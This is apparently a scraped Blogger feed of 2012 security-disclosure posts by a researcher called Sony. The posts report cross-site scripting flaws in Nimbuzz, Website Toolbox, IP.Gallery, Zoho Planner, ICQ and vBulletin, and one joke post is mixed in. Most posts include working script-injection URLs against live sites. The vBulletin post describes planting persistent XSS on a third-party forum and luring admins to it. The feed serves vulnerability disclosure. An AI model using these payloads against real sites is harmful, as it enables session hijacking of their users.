href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhS4DejmPHIxpQRikY2P52ButD1RPTnvNrNYTswpqurfDdrANWmCu1IEAOCgzoyFc0EY3LWqKK89Zif3XOPVBejp6jHGifsJt2hVPqery3qwThE0mGaWs972CDmqjaoeFDXth3WoH0moDo/s1600/ni.png" imageanchor="1"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhS4DejmPHIxpQRikY2P52ButD1RPTnvNrNYTswpqurfDdrANWmCu1IEAOCgzoyFc0EY3LWqKK89Zif3XOPVBejp6jHGifsJt2hVPqery3qwThE0mGaWs972CDmqjaoeFDXth3WoH0moDo/s400/ni.png" width="219" /></a></div> <div dir="ltr" style="text-align: left;" trbidi="on"> </div> </div> <b>We have xss in the Chat Window--&gt;View in Browser. (persistent code) Some pics and video PoC:&nbsp;</b><br /> <br /> <br /> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAuQcZkvaiDz0u4TDwzarFYHYh0RNjWK_HWsKL8dbhZlJu4f9yYVhoCF-b0ZwznDdwBC8RJ4jzF_QdjeE3LBolh7NTKIsFfMHXBKjiPtfhOZNzrZw6Ar9_y7DatdVN7pBCqK9QveRazMu0/s1600/nim.JPG" imageanchor="1"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAuQcZkvaiDz0u4TDwzarFYHYh0RNjWK_HWsKL8dbhZlJu4f9yYVhoCF-b0ZwznDdwBC8RJ4jzF_QdjeE3LBolh7NTKIsFfMHXBKjiPtfhOZNzrZw6Ar9_y7DatdVN7pBCqK9QveRazMu0/s400/nim.JPG" width="400" /></a></div> <br /> <iframe width="420" height="315" src="http://www.youtube.com/embed/t8mC6Oceq0Y" frameborder="0" allowfullscreen></iframe> <br /> <br /> <b>And where is forget password:&nbsp;</b><br /> <br /> <br /> http://www.nimbuzz.com/webchat_login?lang=en&amp;step=2&amp;login=error http://www.nimbuzz.com/webchat_login?lang=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwyeyAGoKTvThZgDV5_V3zmKb395tmAS4CSygdQvX77fMqxeAwbwnHAyWPBGAhoryrdLsxBay93evt6iPCOHPf5XoDbtP9UrB9whhWhMxh9WZQWwKlTw67KSojFRHjgohO8oIpkYsEXR4S/s1600/nimb2.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwyeyAGoKTvThZgDV5_V3zmKb395tmAS4CSygdQvX77fMqxeAwbwnHAyWPBGAhoryrdLsxBay93evt6iPCOHPf5XoDbtP9UrB9whhWhMxh9WZQWwKlTw67KSojFRHjgohO8oIpkYsEXR4S/s400/nimb2.JPG" width="400" /></a></div> </div>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com0tag:blogger.com,1999:blog-791799492554981317.post-61680881694266320112012-04-06T22:37:00.000-10:002012-04-06T23:01:28.598-10:00eBuddy.com Cross Site Scripting<div dir="ltr" style="text-align: left;" trbidi="on"> <pre><b># Date: 07.04.2012 # Author: Sony # Web Browser : Mozilla Firefox # Sony Blog: http://st2tea.blogspot.com ..................................................................</b></pre> <pre>&nbsp;</pre> <pre>http://codepad.org/t278Y5Qo</pre> <pre>&nbsp;</pre> <pre>&nbsp;</pre> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7lXRTpkRZdEEspa8fDmkf86qTAfqHkqkyrmbWGb1jSDzpryJ_pHEqSPz2-OYL0NS5RpAfJHxVz-sk8w2CClwZLgmSF-DtKqPR4eCURmtrARZor3ingQVcWPuLiTSH1rQrjK5tWfuDX6fQ/s1600/hello.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7lXRTpkRZdEEspa8fDmkf86qTAfqHkqkyrmbWGb1jSDzpryJ_pHEqSPz2-OYL0NS5RpAfJHxVz-sk8w2CClwZLgmSF-DtKqPR4eCURmtrARZor3ingQVcWPuLiTSH1rQrjK5tWfuDX6fQ/s320/hello.JPG" width="320" /></a></div> <pre>&nbsp;</pre> <pre>&nbsp;</pre> <pre>&nbsp;</pre> <pre>&nbsp;</pre> <pre>&nbsp;</pre> <pre>&nbsp;</pre> </div>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com0tag:blogger.com,1999:blog-791799492554981317.post-67437637693655450112012-04-06T11:16:00.001-10:002012-04-17T12:04:33.502-10:00Website Toolbox Cross Site Scripting<div dir="ltr" style="text-align: left;" trbidi="on"> <b># Exploit Title: Website Toolbox Cross Site Scripting</b><br /> <b># Date: 7.04.2012</b><br /> <b># Author: Sony</b><br /> <b># Software Link: http://websitetoolbox.com</b><br /> <b># Web Browser : Mozilla Firefox</b><br /> <b># Site : http://insecurity.ro</b><br /> <b># PoC: http://st2tea.blogspot.com/2012/04/website-toolbox-cross-site-scripting.html&nbsp;</b><br /> <br /> <b>..................................................................</b><br /> <br /> <b>Well, we have a multiple cross site scripting vulnerabilities.</b><br /> <b><br /></b><br /> <b>Simple examples:</b><br /> <br /> http://greentea.websitetoolbox.com/register?s_username=&amp;s_email=&amp;s_im=%22%22%3E%3Cscript%3Ealert%28%22hello%22%29%3C%2Fscript%3E&amp;s_regafter_month=&amp;s_regafter_day=&amp;s_regafter_year=&amp;s_regbefore_month=&amp;s_regbefore_day=&amp;s_regbefore_year=&amp;last_post_date_after_month=&amp;last_post_date_after_day=&amp;last_post_date_after_year=&amp;last_post_date_before_month=&amp;last_post_date_before_day=&amp;last_post_date_before_year=&amp;lastvisit_month_after=&amp;lastvisit_day_after=&amp;lastvisit_year_after=&amp;lastvisit_month_before=&amp;lastvisit_day_before=&amp;lastvisit_year_before=&amp;s_postsgreater=&amp;s_postsless=&amp;field240875=&amp;field240876=&amp;field240877=&amp;field240878=&amp;birthday_after_month=&amp;birthday_after_day=&amp;birthday_after_year=&amp;birthday_before_month=&amp;birthday_before_day=&amp;birthday_before_year=&amp;ip_address=&amp;usergroupid=&amp;Submit=Search&amp;fieldid_fields=240875%2C240876%2C240877%2C240878%2C&amp;action=members&amp;search=true<br /> <br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiI_acbt6Znl2XyIRwq2VBX6EJQcBaFE-_BSvVjbLmE6_73eT6LojzkedE7l6jak6PqOAYIDDEVD5Txrb1aq_0-d7TnFTXTFSV5rkkBgZreh1Wk8ahCFmjKprpBy8Kvt1CqdRYNb-pIlHkT/s1600/1.JPG" imageanchor="1"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiI_acbt6Znl2XyIRwq2VBX6EJQcBaFE-_BSvVjbLmE6_73eT6LojzkedE7l6jak6PqOAYIDDEVD5Txrb1aq_0-d7TnFTXTFSV5rkkBgZreh1Wk8ahCFmjKprpBy8Kvt1CqdRYNb-pIlHkT/s400/1.JPG" width="400" /></a></div> <br /> <br /> http://www.websitetoolbox.com/cgi/members/mb_admins.cgi?action=moderatorlogs&amp;type=calendar_logs%22%22%3E%3Cscript%3Ealert%28%22hello%22%29%3C/script%3E<br /> <br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4AMVMfrprPX-RsT2LsaAvDYSwoC-1VaE9BduWWEwK0OrfROcFanmRhLk3mJvc6FqYrrIj6EAZqzNlp5i3eFsczumk2qpl39h5_y8DJfic9CWvYdIbKN5fahdGn6IO9irHuT-DtH1le6A5/s1600/2.JPG" imageanchor="1"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4AMVMfrprPX-RsT2LsaAvDYSwoC-1VaE9BduWWEwK0OrfROcFanmRhLk3mJvc6FqYrrIj6EAZqzNlp5i3eFsczumk2qpl39h5_y8DJfic9CWvYdIbKN5fahdGn6IO9irHuT-DtH1le6A5/s400/2.JPG" width="400" /></a></div> <br /> <br /> http://greentea.websitetoolbox.com/register/register?edit=1&amp;userid=1885232%22%22%3E%3Cscript%3Ealert%28%22hello%22%29%3C/script%3E<br /> <br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihNxi6dODg5IxIOMyGN6qenaTNYtXyIae33R5NIOET0Evn3RJ7z4hC49Jph-qpTTn-SI7kwQKRIwbhN_RCgTZR5mFpgJznZV0bjAxrOTMm2gnxJq5cBYdzodBov0h2t7R-qhahJqmvGQYK/s1600/3.JPG" imageanchor="1"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihNxi6dODg5IxIOMyGN6qenaTNYtXyIae33R5NIOET0Evn3RJ7z4hC49Jph-qpTTn-SI7kwQKRIwbhN_RCgTZR5mFpgJznZV0bjAxrOTMm2gnxJq5cBYdzodBov0h2t7R-qhahJqmvGQYK/s400/3.JPG" width="400" /></a></div> <br /> <b><br /></b><br /> <b>etc..</b><br /> </div>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com0tag:blogger.com,1999:blog-791799492554981317.post-6277153610659716122012-03-27T03:48:00.003-10:002012-03-27T08:07:16.161-10:00IP.Board Addon IP.Gallery 4.2.1Cross Site Scripting<b># Exploit Title: IP.Board Addon IP.Gallery 4.2.1Cross Site Scripting <br /> # Date: 27.03.2012<br /> # Author: Sony and Flexxpoint</b><br /> <b># Software Link:</b> http://community.invisionpower.com/<br /> <b># Web Browser : Mozilla Firefox</b><br /> <b># Blog Flexxpoint:</b> http://flexxpoint.blogspot.com/<br /> <b># Blog Sony:</b> http://st2tea.blogspot.com<br /> <b># Site :</b> http://insecurity.ro<br /> <b># PoC:</b> <br /> http://st2tea.blogspot.com/2012/03/ipboard-330-cross-site-scripting.html<br /> <b>..................................................................</b><br /> <br /> <b>Xss bug in Gallery Search.<br /> <br /> It's a very simple xss, but hard to use this.</b> <br /> <br /> http://community.invisionpower.com/index.php?s=blablabla&&app=gallery&module=ajax&section=albumSelector&do=albumSelectorPane&secure_key=blalblabla&type=upload&albums=search&moderate=&album_id=1593&member_id=&searchType=member&searchMatch=is&searchIsGlobal=0&searchSort=date&searchDir=desc&searchText=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x000252%29%3C%2Fscript%3E<br /> <br /> <b>You can't see this. Create your bug in the gallery and you can see this.</b><br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinjuC1rBjeswwYEqLXnf_tDml4xqDMqWz8KSz4oj5U_ecZv3evX2S1WRvvzgx0u1ZUFUlXIZFhd-UxQ341emC6qQPGYw21iyUej_FUymoAr-idOLHwltXr6BeiQzo8tGo3Yi02KYCGRKtI/s1600/IPSEARCHGALLERY.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinjuC1rBjeswwYEqLXnf_tDml4xqDMqWz8KSz4oj5U_ecZv3evX2S1WRvvzgx0u1ZUFUlXIZFhd-UxQ341emC6qQPGYw21iyUej_FUymoAr-idOLHwltXr6BeiQzo8tGo3Yi02KYCGRKtI/s400/IPSEARCHGALLERY.JPG" /></a></div><br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4nr7yqtgszwa598kYowB4fbw4sI_oa5rc2eMudofoYpdtngZDlBISj8MNKHPZBRJw_k3yHHPvbU3wd8yQI7NmeQTVA1D2VqXFzQ2YLTfsJM-9VrciJ5d6ln-PzUhj1XCsEOCyn_i6_bSP/s1600/test.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4nr7yqtgszwa598kYowB4fbw4sI_oa5rc2eMudofoYpdtngZDlBISj8MNKHPZBRJw_k3yHHPvbU3wd8yQI7NmeQTVA1D2VqXFzQ2YLTfsJM-9VrciJ5d6ln-PzUhj1XCsEOCyn_i6_bSP/s400/test.JPG" /></a></div><br /> <br /> <b>Video PoC:</b><br /> <br /> <iframe width="420" height="315" src="http://www.youtube.com/embed/y29v74xp6t0" frameborder="0" allowfullscreen></iframe><br /> <br /> <b>What about other version? Maybe..</b>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com0tag:blogger.com,1999:blog-791799492554981317.post-26679270717934017092012-03-26T10:09:00.000-10:002012-03-26T10:09:57.287-10:00My Funny QuoteIn the Yahoo Messenger..<br /> <br /> <blockquote>[12:33] b0rntek: i want think<br /> [12:33] b0rntek: about bugs<br /> [12:33] b0rntek: what the best<br /> [12:33] b0rntek: my real life<br /> [12:34] b0rntek: or life with computer and bugs<br /> [12:34] b0rntek: i want made choice<br /> <br /> bla bla bla<br /> <br /> [12:43] b0rntek: i want made other important things etc in my life)<br /> [12:44] No One: and what exactly are these so "importnant" tings for wich you talk about?<br /> [12:46] b0rntek: put important things is right site, not an important things in the left side<br /> [12:47] No One: ohhh ...first i saw this-"put important things is right site " 0.o((((((((((((:</blockquote><br /> DJ b0rntek: <br /> <br /> <blockquote>put important things is right site</blockquote><br /> <blockquote>important things</blockquote><br /> <blockquote>is right site</blockquote><br /> <blockquote>site</blockquote><br /> <blockquote>site</blockquote><br /> <blockquote>site</blockquote><br /> <i>Does anyone! I need a doctor!</i><br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="http://s19.rimg.info/a4c3b95c7e65a537156e1cbe5d8c4a47.gif" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="43" width="35" src="http://s19.rimg.info/a4c3b95c7e65a537156e1cbe5d8c4a47.gif" /></a></div>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com2tag:blogger.com,1999:blog-791799492554981317.post-91806073270741223172012-03-26T02:20:00.010-10:002012-03-26T09:35:40.106-10:00IFrame Injection/Cross Site Scripting Zoho Planner<b># Exploit Title: IFrame Injection/Cross Site Scripting Zoho Planner<br /> # Date: 26.03.2012<br /> # Author: Sony and Flexxpoint</b><br /> <b># Software Link:</b> https://planner.zoho.com/login.do<br /> <b># Web Browser : Mozilla Firefox</b><br /> <b># Blog Flexxpoint:</b> http://flexxpoint.blogspot.com/<br /> <b># Blog Sony:</b> http://st2tea.blogspot.com<br /> <b># Site :</b> http://insecurity.ro<br /> <b># PoC:</b><br /> http://st2tea.blogspot.com/2012/03/iframe-injection-zoho-planner.html<br /> <b>..................................................................</b><br /> <br /> <b>Well, we have simple IFrame Injection in Zoho Planner. A lot of fields in Planner vuln to IFrame Injection. <br /> <br /> Some pics:</b><br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipnxPGUcaXU5va-8hyhAPeKUOs4QB6vyqtbuNkGZ6jMSVBQLIwUs7BJm1aKiQG1pOCa_0v6_fEH5qvTPLvQ4l5Ip6aLheC6p2ZvYNUlqzHc9Wyxjbq-OAXN_rC9v-H-A42zwwJumS_op5V/s1600/planner.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipnxPGUcaXU5va-8hyhAPeKUOs4QB6vyqtbuNkGZ6jMSVBQLIwUs7BJm1aKiQG1pOCa_0v6_fEH5qvTPLvQ4l5Ip6aLheC6p2ZvYNUlqzHc9Wyxjbq-OAXN_rC9v-H-A42zwwJumS_op5V/s400/planner.JPG" /></a></div><br /> <b>And we can share this page:</b><br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDipxILw7i1KOCepCE-QkZp5dGZvSCEPnw2_-wR4XFuLw0RX5aYp__u8seQ9_CrB4PEMAAnOowZjPBFG33W3l2q4E-BlHmiqv7eGVc3AdHskFVVDxd6J0zAxehmTlmaorVxZYC7ZnCCyHE/s1600/page.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDipxILw7i1KOCepCE-QkZp5dGZvSCEPnw2_-wR4XFuLw0RX5aYp__u8seQ9_CrB4PEMAAnOowZjPBFG33W3l2q4E-BlHmiqv7eGVc3AdHskFVVDxd6J0zAxehmTlmaorVxZYC7ZnCCyHE/s400/page.JPG" /></a></div><br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbCpO8x3_kjPB-bcxJu8iyQzc0qefjBdu83jXrPt_milIWYodY6aylc1Gi8zwA8TNYg8d2ySsBZeUq77bFsPAoUEaUviCs-icbfuHOHEMT0S2481peMogz4oNQ-D6MFYNATJr6aR9hXmpk/s1600/zz.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbCpO8x3_kjPB-bcxJu8iyQzc0qefjBdu83jXrPt_milIWYodY6aylc1Gi8zwA8TNYg8d2ySsBZeUq77bFsPAoUEaUviCs-icbfuHOHEMT0S2481peMogz4oNQ-D6MFYNATJr6aR9hXmpk/s400/zz.JPG" /></a></div><br /> <b>Links:</b><br /> <br /> https://planner.zoho.com/public/9cFPJ%2B9AHivFeKtB5e%2B2xnTSQcOn7WCf<br /> <br /> https://planner.zoho.com/public/9cFPJ%2B9AHivFeKtB5e%2B2xq%2BYywariZ7J<br /> <br /> <b>Video PoC: (simple)</b><br /> <br /> <br /> <iframe width="420" height="315" src="http://www.youtube.com/embed/gUlby00Ai04" frameborder="0" allowfullscreen></iframe><br /> <br /> <b>and Cross Site Scripting:</b><br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="http://img62.imageshack.us/img62/9804/screenshot2732012.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="695" width="823" src="http://img62.imageshack.us/img62/9804/screenshot2732012.png" /></a></div><br /> <b>Persistent XSS.</b><br /> <br /> https://planner.zoho.com/public/umYocnKNsn3FeKtB5e%2B2xkj3SVhWUBnO<br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHEerYEX0BY0aR7yJsqRlsWLb8HYQlL9VhqqXh9Wn_1jJGGsoQD6Nq-FFNKwUxgmGw0KvwhBTv2vDrwtbm9Kz4kMTnKGyyIvn5jZ4VN0_MUrygNU4QvmTa__hkcPGujZCJjUh-5VJUdxbR/s1600/persistent.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHEerYEX0BY0aR7yJsqRlsWLb8HYQlL9VhqqXh9Wn_1jJGGsoQD6Nq-FFNKwUxgmGw0KvwhBTv2vDrwtbm9Kz4kMTnKGyyIvn5jZ4VN0_MUrygNU4QvmTa__hkcPGujZCJjUh-5VJUdxbR/s400/persistent.JPG" /></a></div><br /> https://planner.zoho.com/public/umYocnKNsn3FeKtB5e%2B2xnTSQcOn7WCf<br /> <br /> <b>p.s. Iframe Injection we can see in the Bugtracker Zoho (change status).</b><br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibMyj-GxZHjiAtoMRn7kbpSvZ7ERfieYcXyeDXyO4SGTfXVkXRU-uVQsGi1DFdo91gd2gEecuDYCK3fGg34G0TD-mxlm8JqSJH2q5x2Qbc7F4evZFW1BgtSS5XIno70N-VMJ4Dsawq0laA/s1600/zoho-status.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibMyj-GxZHjiAtoMRn7kbpSvZ7ERfieYcXyeDXyO4SGTfXVkXRU-uVQsGi1DFdo91gd2gEecuDYCK3fGg34G0TD-mxlm8JqSJH2q5x2Qbc7F4evZFW1BgtSS5XIno70N-VMJ4Dsawq0laA/s400/zoho-status.JPG" /></a></div>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com0tag:blogger.com,1999:blog-791799492554981317.post-25830667167609954582012-03-24T16:43:00.001-10:002012-03-24T16:45:24.320-10:00ICQ.com Cross Site Scripting<b># Date: 25.03.2012<br /> # Author: Sony and Flexxpoint<br /> # Web Browser : Mozilla Firefox<br /> # Sony Blog: http://st2tea.blogspot.com<br /> # Flexxpoint Blog: http://flexxpoint.blogspot.com/<br /> ..................................................................<br /> <br /> Good Place for XSS.</b><br /> <br /> http://validate.icq.com/icq/validate.html?uid=1%22%3E%3Cscript%3Ealert%28%22Sony%20and%20Flexxpoint%22%29%3C/script%3E&sid=23&lang=en<br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi52bk9agLi63eGEVg5bn5Bu59lVk_bTdm45pTxE309lptqIyjw4fuJ2Qc5gOYv_py7tYpsZ9_d-Pm_eeB4R5F22-iuMr8afrrGdo6G3f66iEtaUtH17Ha3ZEwGGrhudUd9Lo9IBpw53HLk/s1600/icq1.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi52bk9agLi63eGEVg5bn5Bu59lVk_bTdm45pTxE309lptqIyjw4fuJ2Qc5gOYv_py7tYpsZ9_d-Pm_eeB4R5F22-iuMr8afrrGdo6G3f66iEtaUtH17Ha3ZEwGGrhudUd9Lo9IBpw53HLk/s400/icq1.JPG" /></a></div>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com0tag:blogger.com,1999:blog-791799492554981317.post-10656292471383220902012-03-24T16:05:00.019-10:002012-03-26T06:52:38.960-10:00vBulletin 3.8.x - 4.1.11 Cross Site Scripting<b># Exploit Title: vBulletin 3.8.x - 4.1.11 Cross Site Scripting<br /> # Date: 25.03.2012<br /> # Author: Sony , Flexxpoint and .e0f<br /> # Software Link: https://www.vbulletin.com/<br /> # Web Browser : Mozilla Firefox<br /> # Blog Flexxpoint: http://flexxpoint.blogspot.com/<br /> # Blog Sony: http://st2tea.blogspot.com<br /> # Site : http://insecurity.ro<br /> ..................................................................</b><br /> <br /> <b>Well, we have an interesting xss in vBulletin 4.1.10 - 4.1.11 (maybe other version)<br /> <br /> We have xss in the a lot of places.</b><br /> <br /> https://www.vbulletin.com/forum/blog.php<br /> https://www.vbulletin.com/forum/<br /> https://www.vbulletin.com/forum/group.php<br /> <b>etc..</b><br /> <br /> <br /> <b>Simple Example:</b><br /> <br /> https://www.vbulletin.com/forum/group.php<br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1O_zxiXpTNZluLoFVb_tVXzDp7vZ3mw3jpXbfstsGkF90pGhoCijKi5TWJNtxjNMfKwXVttLNZNGIENE_9_xMj6HjiCG1sjr3lfghcV0VA3ljn45pWiNxN9AGeDEYQuLFoVgAafU9GJv8/s1600/demo.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="195" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1O_zxiXpTNZluLoFVb_tVXzDp7vZ3mw3jpXbfstsGkF90pGhoCijKi5TWJNtxjNMfKwXVttLNZNGIENE_9_xMj6HjiCG1sjr3lfghcV0VA3ljn45pWiNxN9AGeDEYQuLFoVgAafU9GJv8/s400/demo.JPG" /></a></div><br /> <b>Click on URL and put our xss code in the URL:</b><br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWW21-Fal5iSui1l50S5aCXtDVvhRBxr0uGwN9RdN2nqrhCI1iCcskGnShnQfzNrG-5ROmYxdMtcFfg9jYdms-UheXePhTr1_EuhnGtMJHP8h8L5wZI9dCJzAU3B9iEB2vH65wEl8NhqZU/s1600/demo2.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="248" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWW21-Fal5iSui1l50S5aCXtDVvhRBxr0uGwN9RdN2nqrhCI1iCcskGnShnQfzNrG-5ROmYxdMtcFfg9jYdms-UheXePhTr1_EuhnGtMJHP8h8L5wZI9dCJzAU3B9iEB2vH65wEl8NhqZU/s400/demo2.JPG" /></a></div><br /> <b>And press button Ok and button Preview Message.<br /> </b><br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcUQrHc2Gn960S_mFg5j34YPMYq9zMhAoow3ywB-BEIHHNWSxLhk3ofEKoDxYdOvBF7rdJTaEjjeBZrH3Nvtas15omtnsHEKYuBdhOOhjjFwcdzPsKZaPfbjTwDaz7TLMRwHCoEXo0eO3s/s1600/demo3.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcUQrHc2Gn960S_mFg5j34YPMYq9zMhAoow3ywB-BEIHHNWSxLhk3ofEKoDxYdOvBF7rdJTaEjjeBZrH3Nvtas15omtnsHEKYuBdhOOhjjFwcdzPsKZaPfbjTwDaz7TLMRwHCoEXo0eO3s/s400/demo3.JPG" /></a></div><br /> <b>We can see xss. It's in all places, where we can use "url". <br /> <br /> How you can use this? idk..<br /> <br /> But i know what you can use..<br /> <br /> Create new topic, put our xss in the "url" and click on Promote to Article..</b><br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnerL-uWI2uTfJZkYgUJY31WsaKBcUB7N6OFx6y5S1gKrBy6U3GTgeovaxt282SHVLLaVEzPu7Tqz2ahjXABPXZKG1myYDwideG37PmoBb-0hkfgDRw4ci9Rf_g02aYk4gj6_4jyaim258/s1600/pr.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnerL-uWI2uTfJZkYgUJY31WsaKBcUB7N6OFx6y5S1gKrBy6U3GTgeovaxt282SHVLLaVEzPu7Tqz2ahjXABPXZKG1myYDwideG37PmoBb-0hkfgDRw4ci9Rf_g02aYk4gj6_4jyaim258/s400/pr.JPG" /></a></div><br /> <b>or Blog this Post..</b><br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfQqBsK3SRTaU_MObN0yobGPZYQZZt3s4UWEGaoOKAdSNV67oDMi1c59SF_N-xKaXUf6NNCfFBZKl7DT7wTSC9JVvPL5V5WzgR0JNk_LJ5gAjavTMYGkN8RtpNre5voPMQHKfy9UzK9eLI/s1600/blog.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfQqBsK3SRTaU_MObN0yobGPZYQZZt3s4UWEGaoOKAdSNV67oDMi1c59SF_N-xKaXUf6NNCfFBZKl7DT7wTSC9JVvPL5V5WzgR0JNk_LJ5gAjavTMYGkN8RtpNre5voPMQHKfy9UzK9eLI/s400/blog.JPG" /></a></div><br /> <b>It's a hard, but possibly.<br /> <br /> Simple Video PoC:</b><br /> <br /> <iframe width="420" height="315" src="http://www.youtube.com/embed/endyyK1rW4k" frameborder="0" allowfullscreen></iframe><br /> <br /> <b>Or example on</b> http://www.chinclub.ru/forum.php<br /> <br /> http://www.chinclub.ru/showthread.php?p=<b>257153</b><br /> <br /> <b>(It's topic) You can create other with xss (for example).<br /> <br /> But we need give other link for users or admin ..(link Blog this Post)</b><br /> <br /> http://www.chinclub.ru/blog_post.php?do=newblog&p=<b>257153</b><br /> <br /> <b>And here we can see our persistent xss and..hmm..<br /> <br /> We test this on some forums. It's work. <br /> <br /> Demo vBulletin Forum. Version 4.1.10.</b><br /> <br /> https://www.vbulletin.com/admindemo.php<br /> <br /> <b>It's Work in other version too. </b><br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghFu5nDI_80hw_tnJ55vZLwfVbDunlkpvVDJGeyzZTngVH_cXCucuVUS6dUBEpk-An8NEPUOVYzZfhaiftWZ2eONaMO9Kvs7S9XkcXsMdKZuJ-tKXZeK6-ONwfOQS1qFXMRhIfn1ncbuXS/s1600/go.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" 